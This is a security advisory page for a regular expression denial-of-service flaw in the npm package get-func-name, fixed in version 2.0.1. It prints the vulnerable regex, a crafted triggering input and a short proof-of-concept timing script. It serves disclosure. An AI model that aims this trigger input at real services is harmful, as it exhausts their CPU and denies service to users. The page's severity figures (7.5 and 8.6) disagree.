7.5
CWE
400 1333
Advisory Published
Updated

GHSA-4q6p-r6v2-jvc5

First published: Wed Sep 27 2023(Updated: )

The current regex implementation for parsing values in the module is susceptible to excessive backtracking, leading to potential DoS attacks. The regex implementation in question is as follows: ```js const functionNameMatch = /\s*function(?:\s|\s*\/\*[^(?:*/)]+\*\/\s*)*([^\s(/]+)/; ``` This vulnerability can be exploited when there is an imbalance in parentheses, which results in excessive backtracking and subsequently increases the CPU load and processing time significantly. This vulnerability can be triggered using the following input: ```js '\t'.repeat(54773) + '\t/function/i' ``` Here is a simple PoC code to demonstrate the issue: ```js const protocolre = /\sfunction(?:\s|\s/*[^(?:*\/)]+*/\s*)*([^\(\/]+)/; const startTime = Date.now(); const maliciousInput = '\t'.repeat(54773) + '\t/function/i' protocolre.test(maliciousInput); const endTime = Date.now(); console.log("process time: ", endTime - startTime, "ms"); ```

Affected SoftwareAffected VersionHow to fix
npm/get-func-name<2.0.1
2.0.1

Never miss a vulnerability like this again

Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.

Frequently Asked Questions

  • What is the vulnerability ID?

    The vulnerability ID is GHSA-4q6p-r6v2-jvc5.

  • What is the severity rating of GHSA-4q6p-r6v2-jvc5?

    The severity rating of GHSA-4q6p-r6v2-jvc5 is high with a value of 8.6.

  • What is the vulnerability description?

    The vulnerability is due to the current regex implementation for parsing values in the module, which is susceptible to excessive backtracking, potentially leading to DoS attacks.

  • How can this vulnerability be exploited?

    This vulnerability can be exploited by an attacker performing malicious input that causes excessive backtracking during value parsing.

  • Is there a fix available for GHSA-4q6p-r6v2-jvc5?

    Yes, the fix for GHSA-4q6p-r6v2-jvc5 is available in version 2.0.1 of the 'get-func-name' npm package.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2025 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203